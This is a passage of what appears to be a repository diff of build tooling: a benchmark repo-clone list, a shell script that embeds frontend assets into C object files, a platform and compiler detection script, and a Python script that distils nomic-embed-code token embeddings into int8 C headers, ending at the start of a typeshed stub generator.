clone bash "ohmyzsh/ohmyzsh" # 100K+ .sh files
clone zig "tigerbeetle/tigerbeetle" # 224K LOC (already large)
clone haskell "jgm/pandoc" # 433K LOC (already large)
clone ocaml "ocaml/dune" # 345K LOC (already large)
clone elixir "plausible/analytics" # 677K LOC (already large)
clone erlang "emqx/emqx" # 500K+ LOC, MQTT broker
clone objc "realm/realm-cocoa" # 200K+ LOC, database SDK
clone swift "Alamofire/Alamofire" # 370K LOC (already large)
clone dart "felangel/bloc" # 285K LOC (already large)
clone perl "movabletype/movabletype" # 300K+ LOC, CMS
clone groovy "spockframework/spock" # 137K LOC (OK)
clone r "tidyverse/ggplot2" # 150K+ LOC, visualization
clone clojure "clojure/clojure" # 108K LOC (OK)
clone fsharp "dotnet/fsharp" # 500K+ LOC, the F# compiler
clone julia "JuliaLang/julia" # 1M+ LOC, the Julia runtime
clone vimscript "SpaceVim/SpaceVim" # 2.6M LOC (already huge)
clone nix "NixOS/nixpkgs" # 6M LOC (already huge)
clone commonlisp "lem-project/lem" # 1.2M LOC (already large)
clone elm "elm/compiler" # 57K LOC (largest Elm repo available)
clone fortran "cp2k/cp2k" # 5.9M LOC (already huge)
clone cobol "OCamlPro/gnucobol" # 540K LOC (already large)
clone verilog "YosysHQ/yosys" # 517K LOC (already large)
clone emacslisp "emacs-mirror/emacs" # 5.3M LOC (already huge)
clone matlab "acristoffers/tree-sitter-matlab" # 133K LOC (best available)
clone lean "leanprover-community/mathlib4" # 2.3M LOC (already huge)
clone form "vermaseren/form" # 221K LOC (already large)
clone wolfram "WolframResearch/WolframLanguageForJupyter" # 4K LOC (largest public Wolfram repo)
# Helper languages — Tier 2 (22 languages)
clone yaml "kubernetes/examples" # K8s manifests
clone hcl "hashicorp/terraform-provider-aws" # 1M+ LOC, massive HCL
clone scss "twbs/bootstrap" # 120K LOC (OK)
clone dockerfile "docker-library/official-images" # Docker configs
clone cmake "Kitware/CMake" # 1.7M LOC (already huge)
clone protobuf "googleapis/googleapis" # 2.2M LOC (already huge)
clone graphql "graphql/graphql-spec" # 23K LOC (largest pure GraphQL)
clone vue "vuejs/core" # 200K+ LOC, Vue 3 core
clone svelte "sveltejs/svelte" # 267K LOC (already large)
clone meson "mesonbuild/meson" # 237K LOC (already large)
# Shared repos (symlinked — language uses same repo as primary)
symlink html javascript # Express views contain HTML
symlink css tsx # shadcn-ui styles
symlink toml rust # meilisearch Cargo.toml + config
symlink sql java # spring-petclinic SQL schemas
clone cuda "NVIDIA/cuda-samples"
symlink json typescript # trpc JSON configs
symlink xml java # spring-petclinic XML configs
symlink markdown python # httpie docs
symlink makefile c # redis Makefile
clone glsl "repalash/Open-Shaders"
symlink ini python # httpie .cfg/.ini files
symlink magma lean # .m files — disambiguated via content markers
symlink kubernetes yaml # YAML subtype — Deployment/Service manifests
symlink kustomize yaml # YAML subtype — kustomization.yaml
echo ""
echo "=== Clone complete ==="
ls -1 "$BENCH_DIR/" | wc -l | xargs printf "%s repos ready in $BENCH_DIR\n"
+194
View File
@@ -0,0 +1,194 @@
#!/usr/bin/env bash
# embed-frontend.sh — Convert built frontend assets into linkable object files.
#
# Usage: scripts/embed-frontend.sh <dist_dir> <output_dir>
#
# For each file in dist_dir, creates:
# 1. An object file via `ld -r -b binary` (raw bytes, zero bloat)
# 2. A generated embedded_assets.c with a lookup table
#
# Symbols created per file: _binary_<mangled_name>_start, _binary_<mangled_name>_end
# On macOS, these get a leading underscore: __binary_<mangled_name>_start
set -euo pipefail
DIST_DIR="${1:?Usage: embed-frontend.sh <dist_dir> <output_dir>}"
OUTPUT_DIR="${2:?Usage: embed-frontend.sh <dist_dir> <output_dir>}"
# Clean old embedded objects (asset hashes change on each build)
rm -rf "$OUTPUT_DIR"
mkdir -p "$OUTPUT_DIR"
# Detect platform — Linux uses ld -r -b binary, everything else uses xxd+cc
IS_LINUX=false
if [[ "$(uname -s)" == "Linux" ]] && ! [[ "$(uname -s)" =~ MINGW|MSYS ]]; then
IS_LINUX=true
fi
# Content-type detection
content_type_for() {
local f="$1"
case "$f" in
*.html) echo "text/html" ;;
*.js) echo "application/javascript" ;;
*.css) echo "text/css" ;;
*.json) echo "application/json" ;;
*.svg) echo "image/svg+xml" ;;
*.png) echo "image/png" ;;
*.ico) echo "image/x-icon" ;;
*.woff2) echo "font/woff2" ;;
*.woff) echo "font/woff" ;;
*.map) echo "application/json" ;;
*) echo "application/octet-stream" ;;
esac
}
# Mangle filename to valid C symbol: replace non-alnum with _
mangle() {
echo "$1" | sed 's/[^a-zA-Z0-9]/_/g'
}
# Collect all files
FILES=()
while IFS= read -r -d '' file; do
FILES+=("$file")
done < <(find "$DIST_DIR" -type f -print0 | sort -z)
if [[ ${#FILES[@]} -eq 0 ]]; then
echo "Error: no files found in $DIST_DIR" >&2
exit 1
fi
echo "Embedding ${#FILES[@]} files from $DIST_DIR"
# Generate object files
OBJ_FILES=()
for file in "${FILES[@]}"; do
rel="${file#$DIST_DIR/}"
mangled=$(mangle "$rel")
obj="$OUTPUT_DIR/embed_${mangled}.o"
if $IS_LINUX; then
# Linux: ld -r -b binary (zero bloat, ELF only)
abs_obj="$(cd "$(dirname "$0")/.." && pwd)/$obj"
(cd "$DIST_DIR" && ld -r -b binary -o "$abs_obj" "$rel")
else
# macOS/Windows/MSYS2: generate C byte array + cc (no xxd dependency)
local_c="$OUTPUT_DIR/embed_${mangled}.c"
local_sym="_binary_${mangled}"
echo "/* Generated from $rel */" > "$local_c"
echo "const unsigned char ${local_sym}_data[] = {" >> "$local_c"
# Use od (POSIX) to generate hex bytes — works everywhere without xxd/vim
od -An -tx1 -v < "$file" | tr -s ' ' '\n' | grep -v '^$' | sed 's/^/0x/; s/$/,/' | paste -sd' ' - | fold -s -w 76 | sed 's/^/ /' >> "$local_c"
echo "};" >> "$local_c"
echo "const unsigned int ${local_sym}_size = sizeof(${local_sym}_data);" >> "$local_c"
${CC:-cc} -c -O2 -o "$obj" "$local_c"
rm -f "$local_c"
fi
OBJ_FILES+=("$obj")
echo " $rel -> $obj"
done
# Generate embedded_assets.c
ASSETS_C="src/ui/embedded_assets.c"
cat > "$ASSETS_C" <<'HEADER'
/*
* embedded_assets.c — Generated file mapping URL paths to embedded bytes.
* DO NOT EDIT — regenerated by scripts/embed-frontend.sh
*/
#include "ui/embedded_assets.h"
#include <string.h>
HEADER
# Declare extern symbols
for file in "${FILES[@]}"; do
rel="${file#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
if ! $IS_LINUX; then
echo "extern const unsigned char ${sym}_data[];" >> "$ASSETS_C"
echo "extern const unsigned int ${sym}_size;" >> "$ASSETS_C"
else
echo "extern const unsigned char ${sym}_start[];" >> "$ASSETS_C"
echo "extern const unsigned char ${sym}_end[];" >> "$ASSETS_C"
fi
done
echo "" >> "$ASSETS_C"
echo "cbm_embedded_file_t CBM_EMBEDDED_FILES[] = {" >> "$ASSETS_C"
for file in "${FILES[@]}"; do
rel="${file#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
ct=$(content_type_for "$rel")
# URL path: /index.html for root, /assets/... for assets
url_path="/$rel"
if ! $IS_LINUX; then
echo " {\"$url_path\", ${sym}_data, 0, \"$ct\"}," >> "$ASSETS_C"
else
echo " {\"$url_path\", ${sym}_start, 0, \"$ct\"}," >> "$ASSETS_C"
fi
done
echo "};" >> "$ASSETS_C"
echo "const int CBM_EMBEDDED_FILE_COUNT = ${#FILES[@]};" >> "$ASSETS_C"
# Generate size fixup
if $IS_LINUX; then
# Linux: compute size from start/end pointers (ld -r -b binary symbols)
cat >> "$ASSETS_C" <<'SIZEINIT'
static void __attribute__((constructor)) init_embedded_sizes(void) {
cbm_embedded_file_t *files = CBM_EMBEDDED_FILES;
SIZEINIT
for i in "${!FILES[@]}"; do
rel="${FILES[$i]#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
echo " files[$i].size = (unsigned int)(${sym}_end - ${sym}_start);" >> "$ASSETS_C"
done
echo "}" >> "$ASSETS_C"
else
# macOS/Windows: use explicit _size vars from xxd-generated C arrays
cat >> "$ASSETS_C" <<'SIZEINIT'
static void __attribute__((constructor)) init_embedded_sizes(void) {
cbm_embedded_file_t *files = CBM_EMBEDDED_FILES;
SIZEINIT
for i in "${!FILES[@]}"; do
rel="${FILES[$i]#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
echo " files[$i].size = ${sym}_size;" >> "$ASSETS_C"
done
echo "}" >> "$ASSETS_C"
fi
# Add lookup function
cat >> "$ASSETS_C" <<'LOOKUP'
const cbm_embedded_file_t *cbm_embedded_lookup(const char *path) {
for (int i = 0; i < CBM_EMBEDDED_FILE_COUNT; i++) {
if (strcmp(CBM_EMBEDDED_FILES[i].path, path) == 0) {
return &CBM_EMBEDDED_FILES[i];
}
}
return NULL;
}
LOOKUP
echo "Generated $ASSETS_C with ${#FILES[@]} embedded files"
echo "Object files in $OUTPUT_DIR:"
printf ' %s\n' "${OBJ_FILES[@]}"
+132
View File
@@ -0,0 +1,132 @@
#!/usr/bin/env bash
# env.sh — Shared environment detection for all build scripts.
#
# Sourced by test.sh, build.sh, lint.sh. Not meant to run standalone.
#
# Exports:
# ARCH — target architecture (arm64 / x86_64)
# ARCHFLAGS — "-arch <arch>" on macOS (target slice for clang/ld), empty elsewhere
# NPROC — number of CPU cores
# OS — darwin / linux / windows
set -euo pipefail
# ── Detect OS ──────────────────────────────────────────────────
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
case "$OS" in
darwin) OS="darwin" ;;
linux) OS="linux" ;;
mingw*|msys*|cygwin*) OS="windows" ;;
*) OS="unknown" ;;
esac
# ── Detect / override architecture ─────────────────────────────
# Default: native HARDWARE architecture (not Rosetta-translated).
# On macOS under Rosetta, uname -m returns x86_64 even on Apple Silicon.
# We use sysctl to detect the true hardware.
HW_ARCH="$(uname -m)"
if [[ "$(uname -s)" == "Darwin" ]] && sysctl -n hw.optional.arm64 2>/dev/null | grep -q 1; then
HW_ARCH="arm64"
fi
case "$HW_ARCH" in
aarch64|arm64) HW_ARCH="arm64" ;;
x86_64|amd64) HW_ARCH="x86_64" ;;
esac
# CBM_ARCH env var or --arch flag override (parsed by calling script)
ARCH="${CBM_ARCH:-$HW_ARCH}"
# ── Target-architecture flags (macOS only) ─────────────────────
# Select the target slice explicitly with clang/ld's -arch instead of
# relaunching make under `arch -<arch>`. Explicit -arch is the only approach
# that works across toolchains: a Nix/Homebrew clang wrapper has a fixed
# target triple, so `arch -x86_64 make` would still emit native arm64. It also
# lets host tools (node, codegen) keep running natively during a cross-build.
# Makefile.cbm folds $(ARCHFLAGS) into CC/CXX so it reaches every compile and
# link, including the vendored objects. Empty on Linux/Windows.
ARCHFLAGS=""
if [[ "$OS" == "darwin" ]]; then
ARCHFLAGS="-arch ${ARCH}"
fi
export ARCHFLAGS
# ── Detect parallelism ─────────────────────────────────────────
NPROC=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 4)
# ── Verify compiler can build for the target arch ──────────────
# On macOS, PROBE actual capability instead of inspecting the compiler's own
# Mach-O header. The driver is often a wrapper script (Nix, ccache, Homebrew)
# or a clang that cross-compiles, so `file` on the binary says nothing about
# what it can target — it just sees a shell script or a host-arch executable.
# Compiling + linking a trivial program with -arch <target> is the truth.
verify_compiler() {
local compiler="$1"
local bin
bin="$(command -v "$compiler" 2>/dev/null || true)"
if [[ -z "$bin" ]]; then
echo "ERROR: compiler '$compiler' not found in PATH" >&2
exit 1
fi
if [[ "$OS" == "darwin" ]]; then
local probe_out
probe_out="$(mktemp -t cbm-archprobe.XXXXXX)"
if ! printf 'int main(void){return 0;}\n' \
| "$compiler" -arch "$ARCH" -x c - -o "$probe_out" >/dev/null 2>&1; then
rm -f "$probe_out"
echo "ERROR: $compiler cannot build for -arch $ARCH ($bin)" >&2
echo " A trivial $ARCH compile + link failed with this toolchain." >&2
if [[ "$ARCH" != "$HW_ARCH" ]]; then
echo " Cross-building $HW_ARCH -> $ARCH needs the $ARCH SDK slice + runtime;" >&2
echo " to build for this machine instead, re-run with: --arch $HW_ARCH" >&2
fi
exit 1
fi
rm -f "$probe_out"
fi
}
# ── Default compiler selection ─────────────────────────────────
# macOS: cc (Apple Clang). Linux/Windows: gcc (system default).
# CI overrides via CC=gcc CXX=g++ args. Local macOS overrides via CC=cc.
if [[ -z "${CC:-}" ]]; then
if [[ "$OS" == "darwin" ]]; then
export CC=cc CXX=c++
else
export CC=gcc CXX=g++
fi
fi
# ── Verified compiler cache (ccache, opt-out CBM_NO_CCACHE=1) ──
# Activated through ccache's masquerade directories so $CC keeps its plain
# name everywhere (verify_compiler, make, link lines are untouched).
# Zero-staleness guarantee: CCACHE_COMPILERCHECK=content keys every entry on
# the CONTENT of the compiler binary plus the fully preprocessed translation
# unit, so a cache hit is provably the identical compilation — a stale or
# foreign cache can only MISS, never return wrong output. No CCACHE_BASEDIR
# and no path rewriting: debug-info and sanitizer report paths stay exact.
if [[ "${CBM_NO_CCACHE:-0}" != "1" ]] && command -v ccache >/dev/null 2>&1; then
for _cbm_ccache_masq in \
/usr/lib/ccache \
/opt/homebrew/opt/ccache/libexec \
/usr/local/opt/ccache/libexec \
/clang64/lib/ccache/bin \
/clangarm64/lib/ccache/bin; do
if [[ -d "$_cbm_ccache_masq" ]]; then
case ":$PATH:" in
*":$_cbm_ccache_masq:"*) ;;
*) PATH="$_cbm_ccache_masq:$PATH" ;;
esac
fi
done
unset _cbm_ccache_masq
export PATH
export CCACHE_COMPILERCHECK=content
fi
# ── Print environment summary ──────────────────────────────────
print_env() {
local context="$1"
echo "=== $context: os=$OS arch=$ARCH cores=$NPROC cc=${CC:-default} cxx=${CXX:-default} ==="
}
+528
View File
@@ -0,0 +1,528 @@
#!/usr/bin/env python3
"""
Extract token embeddings from nomic-embed-code (7B) for static lookup table.
Loads the full model, filters the vocabulary to code-relevant tokens,
runs full inference on each token, applies simulated attention, quantizes
to int8, and outputs files compatible with vendored/unixcoder/ format.
Usage:
pip3.9 install torch transformers sentence-transformers
python3.9 scripts/extract_nomic_vectors.py [--output-dir vendored/nomic]
Output:
code_vectors.bin — [int32 count][int32 dim] + count×dim int8
code_tokens.txt — one token per line
code_tokens.h — C header: static const char *PRETRAINED_TOKENS[N]
code_vectors.h — C header: defines + inline accessor
code_vectors_blob.S — assembler .incbin
One-time extraction. ~2-3h on GPU, ~6-10h on M3 Pro CPU (float16, ~14GB RAM).
"""
import argparse
import json
import os
import re
import struct
import sys
import time
from pathlib import Path
import numpy as np
import torch
# Parallelize CPU inference across all cores BEFORE any torch ops
NUM_THREADS = min(os.cpu_count() * 2, 12)
torch.set_num_threads(NUM_THREADS)
torch.set_num_interop_threads(max(NUM_THREADS // 2, 1))
os.environ.setdefault("OMP_NUM_THREADS", str(NUM_THREADS))
os.environ.setdefault("MKL_NUM_THREADS", str(NUM_THREADS))
from transformers import AutoModel, AutoTokenizer
# ── Configuration ──────────────────────────────────────────────────────
MODEL_NAME = "nomic-ai/nomic-embed-code"
OUTPUT_DIM = 768 # Target dimension (Matryoshka truncation if model outputs more)
SIM_ATTENTION_K = 32 # Top-K neighbors for simulated attention
SIM_ATTENTION_ITERS = 3 # Number of simulated attention iterations
SIM_ATTENTION_ALPHA = 0.3 # Blend ratio: (1-α)×original + α×neighbor_mean
BATCH_SIZE = 32 # Tokens per inference batch (sized for thread saturation)
CHECKPOINT_EVERY = 500 # Save checkpoint every N tokens
# ── Token filtering ───────────────────────────────────────────────────
def is_code_relevant(token_str: str) -> bool:
"""Filter vocabulary to code-relevant tokens.
Goal: keep tokens that our runtime camelCase/snake_case splitter would
produce from identifiers. Reject BPE noise, punctuation combos, and
non-Latin scripts.
"""
s = token_str.strip()
if not s:
return False
# Remove BPE markers (Ġ = space prefix, ▁ = sentencepiece, Ċ/ċ = newline in Qwen)
clean = s.lstrip("\u0120\u2581") # Ġ, ▁
if not clean:
return False
# Skip special tokens
if clean.startswith("<") and clean.endswith(">"):
return False
if clean.startswith("[") and clean.endswith("]"):
return False
# Strip leading/trailing underscores (common in BPE) but keep content
inner = clean.strip("_")
if not inner:
return False
# STRICT: must be purely alphanumeric + underscores (identifier-shaped)
# This rejects BPE noise like "!");ċ", "!!!!ċċ", etc.
if not re.match(r'^[a-zA-Z][a-zA-Z0-9_]*$', inner):
return False
# Must be at least 2 chars of actual content
if len(inner) < 2:
return False
return True
def clean_token(token_str: str) -> str:
"""Normalize a BPE token to the form our runtime tokenizer produces."""
s = token_str.strip()
# Strip BPE space markers
s = s.lstrip("\u0120\u2581")
# Strip leading/trailing underscores
s = s.strip("_")
# Lowercase (our runtime tokenizer lowercases)
s = s.lower()
return s
# ── Simulated attention ──────────────────────────────────────────────
def simulated_attention(vectors: np.ndarray, k: int, iterations: int,
alpha: float) -> np.ndarray:
"""
Apply simulated self-attention: for each vector, blend with mean of
top-K nearest neighbors. This approximates contextual composition
that real attention provides.
vectors: (N, D) float32 unit-normalized
Returns: (N, D) float32 unit-normalized
"""
n, d = vectors.shape
result = vectors.copy()
for iteration in range(iterations):
t0 = time.time()
# Compute cosine similarity matrix in chunks to avoid OOM
# For 40K vectors × 768d, full matrix = 40K² × 4 bytes = 6.4GB
# Process in chunks of 2048
chunk_size = 2048
new_result = np.zeros_like(result)
for i in range(0, n, chunk_size):
end = min(i + chunk_size, n)
chunk = result[i:end] # (chunk, D)
# Cosine similarity: chunk × all^T
sims = chunk @ result.T # (chunk, N)
# For each vector in chunk, find top-K neighbors (excluding self)
for j in range(end - i):
global_idx = i + j
sim_row = sims[j].copy()
sim_row[global_idx] = -1.0 # Exclude self
# Top-K indices
if k < n - 1:
top_k_idx = np.argpartition(sim_row, -k)[-k:]
else:
top_k_idx = np.arange(n)
top_k_idx = top_k_idx[top_k_idx != global_idx]
neighbor_mean = result[top_k_idx].mean(axis=0)
# Blend
blended = (1 - alpha) * result[global_idx] + alpha * neighbor_mean
# Re-normalize
norm = np.linalg.norm(blended)
if norm > 1e-8:
blended /= norm
new_result[global_idx] = blended
result = new_result
elapsed = time.time() - t0
print(f" sim-attention iter {iteration + 1}/{iterations}: {elapsed:.1f}s")
return result
# ── Extraction ───────────────────────────────────────────────────────
def extract_embeddings(model, tokenizer, tokens: list, device: str,
batch_size: int = 64,
checkpoint_path: str = None) -> np.ndarray:
"""Run full model inference on each token string. Returns (N, D) float32."""
# Check for checkpoint
start_idx = 0
all_vecs = []
if checkpoint_path and os.path.exists(checkpoint_path):
data = np.load(checkpoint_path)
all_vecs = list(data["vectors"])
start_idx = len(all_vecs)
print(f" resuming from checkpoint: {start_idx}/{len(tokens)} tokens")
model.eval()
total = len(tokens)
t0 = time.time()
with torch.no_grad():
for batch_start in range(start_idx, total, batch_size):
batch_end = min(batch_start + batch_size, total)
batch_tokens = tokens[batch_start:batch_end]
# nomic-embed-code requires search_query or search_document prefix
# For single tokens, we use the token as-is (query mode)
texts = [f"search_query: {t}" for t in batch_tokens]
encoded = tokenizer(
texts,
padding=True,
truncation=True,
max_length=64,
return_tensors="pt"
).to(device)
outputs = model(**encoded)
# Mean pooling over non-padding tokens
attention_mask = encoded["attention_mask"]
token_embeddings = outputs.last_hidden_state
input_mask_expanded = (
attention_mask.unsqueeze(-1)
.expand(token_embeddings.size())
.float()
)
sum_embeddings = torch.sum(
token_embeddings * input_mask_expanded, dim=1
)
sum_mask = torch.clamp(input_mask_expanded.sum(dim=1), min=1e-9)
mean_pooled = sum_embeddings / sum_mask
# Truncate to OUTPUT_DIM if model outputs more (Matryoshka)
if mean_pooled.shape[1] > OUTPUT_DIM:
mean_pooled = mean_pooled[:, :OUTPUT_DIM]
# L2 normalize
mean_pooled = torch.nn.functional.normalize(mean_pooled, p=2, dim=1)
vecs = mean_pooled.cpu().numpy()
all_vecs.extend(vecs)
# Progress
done = batch_end
elapsed = time.time() - t0
rate = (done - start_idx) / elapsed if elapsed > 0 else 0
eta = (total - done) / rate if rate > 0 else 0
print(
f" [{done:>6}/{total}] "
f"{rate:.1f} tok/s "
f"ETA {eta / 60:.0f}m",
flush=True
)
# Checkpoint
if checkpoint_path and (done % CHECKPOINT_EVERY < batch_size):
np.savez_compressed(
checkpoint_path,
vectors=np.array(all_vecs, dtype=np.float32)
)
print()
return np.array(all_vecs, dtype=np.float32)
# ── Output generation ────────────────────────────────────────────────
def write_bin(path: str, vectors: np.ndarray, dim: int):
"""Write binary blob: [int32 count][int32 dim] + count×dim int8."""
n = vectors.shape[0]
# Quantize: scale to [-127, 127], round to int8
quantized = np.clip(np.round(vectors * 127.0), -127, 127).astype(np.int8)
with open(path, "wb") as f:
f.write(struct.pack("<ii", n, dim))
f.write(quantized.tobytes())
size_mb = os.path.getsize(path) / (1024 * 1024)
print(f" {path}: {n} vectors × {dim}d = {size_mb:.1f} MB")
def write_tokens_txt(path: str, tokens: list):
"""Write plain text token list."""
with open(path, "w") as f:
for t in tokens:
f.write(t + "\n")
print(f" {path}: {len(tokens)} tokens")
def write_tokens_h(path: str, tokens: list):
"""Write C header with token string array."""
with open(path, "w") as f:
f.write(f"/* nomic-embed-code token vocabulary — {len(tokens)} tokens. */\n")
f.write("#ifndef CBM_NOMIC_TOKENS_H\n")
f.write("#define CBM_NOMIC_TOKENS_H\n\n")
f.write(f"static const char *PRETRAINED_TOKENS[{len(tokens)}] = {{\n")
for t in tokens:
escaped = t.replace("\\", "\\\\").replace('"', '\\"')
f.write(f'"{escaped}",\n')
f.write("};\n\n")
f.write("#endif /* CBM_NOMIC_TOKENS_H */\n")
print(f" {path}: written")
def write_vectors_h(path: str, token_count: int, dim: int, incbin_path: str):
"""Write C header with defines and inline accessor."""
with open(path, "w") as f:
f.write(f"""/* nomic-embed-code (nomic-ai/nomic-embed-code) token embeddings.
* {token_count} tokens x {dim}d int8-quantized unit vectors.
* Distilled from 7B model via full inference on filtered vocabulary.
* Simulated attention: {SIM_ATTENTION_ITERS} iterations, K={SIM_ATTENTION_K}, alpha={SIM_ATTENTION_ALPHA}.
*
* Vector blob embedded via code_vectors_blob.S (assembler .incbin).
* Token strings are in this header as a static array.
*
* Source: https://huggingface.co/nomic-ai/nomic-embed-code
* License: Apache 2.0
*/
#ifndef CBM_NOMIC_VECTORS_H
#define CBM_NOMIC_VECTORS_H
#include <stdint.h>
#define PRETRAINED_TOKEN_COUNT {token_count}
#define PRETRAINED_DIM {dim}
/* Raw vector blob: first 8 bytes = [int32 count][int32 dim],
* then count x dim int8 values (unit-normalized, x127 scaled). */
extern const unsigned char PRETRAINED_VECTOR_BLOB[];
extern const unsigned int PRETRAINED_VECTOR_BLOB_LEN;
/* Access the int8 vector for token index i. */
static inline const int8_t *pretrained_vec_at(int i) {{
return (const int8_t *)(PRETRAINED_VECTOR_BLOB + 8 + (size_t)i * PRETRAINED_DIM);
}}
/* Token strings (separate header to keep this file clean). */
#include "code_tokens.h"
#endif /* CBM_NOMIC_VECTORS_H */
""")
print(f" {path}: written")
def write_blob_s(path: str, incbin_path: str):
"""Write assembler .incbin directive."""
with open(path, "w") as f:
f.write(f"""/* nomic-embed-code vector blob embedded via assembler. */
.section __DATA,__const
.globl _PRETRAINED_VECTOR_BLOB
.globl _PRETRAINED_VECTOR_BLOB_LEN
.p2align 4
_PRETRAINED_VECTOR_BLOB:
.incbin "{incbin_path}"
_PRETRAINED_VECTOR_BLOB_END:
.section __DATA,__const
.p2align 2
_PRETRAINED_VECTOR_BLOB_LEN:
.long _PRETRAINED_VECTOR_BLOB_END - _PRETRAINED_VECTOR_BLOB
""")
print(f" {path}: written")
# ── Main ─────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description="Extract nomic-embed-code token embeddings")
parser.add_argument("--output-dir", default="vendored/nomic",
help="Output directory (default: vendored/nomic)")
parser.add_argument("--device", default=None,
help="Device: cuda, mps, cpu (auto-detected)")
parser.add_argument("--skip-attention", action="store_true",
help="Skip simulated attention (faster, lower quality)")
parser.add_argument("--batch-size", type=int, default=BATCH_SIZE,
help=f"Batch size (default: {BATCH_SIZE})")
parser.add_argument("--checkpoint", default=None,
help="Checkpoint file path (auto: <output-dir>/checkpoint.npz)")
args = parser.parse_args()
batch_size = args.batch_size
# Auto-detect device
# Prefer CPU for 7B models on Apple Silicon — MPS shares unified memory
# with the system and can cause OOM/crashes. CPU keeps allocation predictable.
# Use --device mps to override if you have enough headroom (32GB+).
if args.device:
device = args.device
elif torch.cuda.is_available():
device = "cuda"
else:
device = "cpu"
# Force line-buffered stdout so tee/log sees output immediately
sys.stdout.reconfigure(line_buffering=True)
print(f"device={device}")
print(f"threads={torch.get_num_threads()}")
print(f"model={MODEL_NAME}")
print(f"output_dim={OUTPUT_DIM}")
print()
# Create output dir
out_dir = Path(args.output_dir)
out_dir.mkdir(parents=True, exist_ok=True)
checkpoint_path = args.checkpoint or str(out_dir / "checkpoint.npz")
# ── Step 1: Load model + tokenizer ──
print("step 1: loading model + tokenizer...")
t0 = time.time()
tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, trust_remote_code=True)
model = AutoModel.from_pretrained(
MODEL_NAME,
trust_remote_code=True,
dtype=torch.float16, # 7B×2B = ~14GB (vs 28GB float32)
low_cpu_mem_usage=True, # Stream weights, no 2x peak during load
)
model = model.to(device)
print(f" loaded in {time.time() - t0:.1f}s")
print(f" hidden_size={model.config.hidden_size}")
print(f" vocab_size={tokenizer.vocab_size}")
print()
# ── Step 2: Filter vocabulary ──
print("step 2: filtering vocabulary to code-relevant tokens...")
vocab = tokenizer.get_vocab()
print(f" raw vocabulary: {len(vocab)} tokens")
# Filter and deduplicate
seen = set()
filtered_tokens = []
for tok_str, tok_id in sorted(vocab.items(), key=lambda x: x[1]):
if not is_code_relevant(tok_str):
continue
clean = clean_token(tok_str)
if not clean or clean in seen:
continue
if len(clean) < 2:
continue
seen.add(clean)
filtered_tokens.append(clean)
filtered_tokens.sort()
print(f" code-relevant (deduplicated): {len(filtered_tokens)} tokens")
# Show sample
sample = filtered_tokens[:20]
print(f" sample: {sample}")
print()
# ── Step 3: Extract embeddings (full inference) ──
print(f"step 3: extracting embeddings ({len(filtered_tokens)} tokens, batch_size={batch_size})...")
t0 = time.time()
vectors = extract_embeddings(
model, tokenizer, filtered_tokens, device,
batch_size=batch_size, checkpoint_path=checkpoint_path
)
elapsed = time.time() - t0
print(f" extracted {vectors.shape[0]} vectors × {vectors.shape[1]}d in {elapsed:.0f}s")
# Truncate to OUTPUT_DIM if needed
if vectors.shape[1] > OUTPUT_DIM:
print(f" truncating {vectors.shape[1]}d -> {OUTPUT_DIM}d (Matryoshka)")
vectors = vectors[:, :OUTPUT_DIM]
# Re-normalize after truncation
norms = np.linalg.norm(vectors, axis=1, keepdims=True)
norms = np.maximum(norms, 1e-8)
vectors = vectors / norms
print(f" final shape: {vectors.shape}")
# Mean-center to fix anisotropy (transformer embeddings cluster tightly,
# making all cosine similarities ~0.95+). Subtracting the corpus mean
# spreads vectors apart, making cosine discriminative.
mean_vec = vectors.mean(axis=0)
mean_norm = np.linalg.norm(mean_vec)
print(f" mean vector norm before centering: {mean_norm:.4f} (>0.5 = anisotropic)")
vectors = vectors - mean_vec
# Re-normalize after centering
norms = np.linalg.norm(vectors, axis=1, keepdims=True)
norms = np.maximum(norms, 1e-8)
vectors = vectors / norms
mean_after = np.linalg.norm(vectors.mean(axis=0))
print(f" mean vector norm after centering: {mean_after:.6f}")
print()
# ── Step 4: Simulated attention ──
if not args.skip_attention:
print(f"step 4: simulated attention (K={SIM_ATTENTION_K}, "
f"iters={SIM_ATTENTION_ITERS}, alpha={SIM_ATTENTION_ALPHA})...")
t0 = time.time()
vectors = simulated_attention(
vectors, SIM_ATTENTION_K, SIM_ATTENTION_ITERS, SIM_ATTENTION_ALPHA
)
print(f" completed in {time.time() - t0:.1f}s")
print()
else:
print("step 4: simulated attention SKIPPED")
print()
# ── Step 5: Write output files ──
print("step 5: writing output files...")
dim = vectors.shape[1]
write_bin(str(out_dir / "code_vectors.bin"), vectors, dim)
write_tokens_txt(str(out_dir / "code_tokens.txt"), filtered_tokens)
write_tokens_h(str(out_dir / "code_tokens.h"), filtered_tokens)
incbin_path = f"vendored/nomic/code_vectors.bin"
write_vectors_h(str(out_dir / "code_vectors.h"), len(filtered_tokens), dim, incbin_path)
write_blob_s(str(out_dir / "code_vectors_blob.S"), incbin_path)
print()
# Cleanup checkpoint
if os.path.exists(checkpoint_path):
os.remove(checkpoint_path)
print(f" removed checkpoint: {checkpoint_path}")
# ── Summary ──
bin_size = os.path.getsize(str(out_dir / "code_vectors.bin"))
print()
print("=" * 60)
print(f" model: {MODEL_NAME}")
print(f" tokens: {len(filtered_tokens)}")
print(f" dimensions: {dim}")
print(f" blob size: {bin_size / (1024*1024):.1f} MB")
print(f" sim-attn: {'yes' if not args.skip_attention else 'no'}")
print(f" output: {out_dir}/")
print("=" * 60)
print()
print("next steps:")
print(f" 1. update Makefile.cbm: change UNIXCODER_BLOB_SRC path to vendored/nomic/")
print(f" 2. update #include in semantic.c: \"vendored/nomic/code_vectors.h\"")
print(f" 3. arch -arm64 make -j12 -f Makefile.cbm clean-c && arch -arm64 make -j12 -f Makefile.cbm")
if __name__ == "__main__":
main()
+432
View File
@@ -0,0 +1,432 @@
#!/usr/bin/env python3.9
"""
gen-py-stdlib.py — Generate cbm_python_stdlib_register from typeshed stubs.
Phase 10 of Python LSP integration. Walks a typeshed/stdlib checkout,
parses each .pyi via the standard `ast` module, and emits a single C
source file (internal/cbm/lsp/generated/python_stdlib_data.c) that
populates a CBMTypeRegistry with classes + their method names and
free functions per module.
This is a v1 implementation — overload stacks collapse to the first
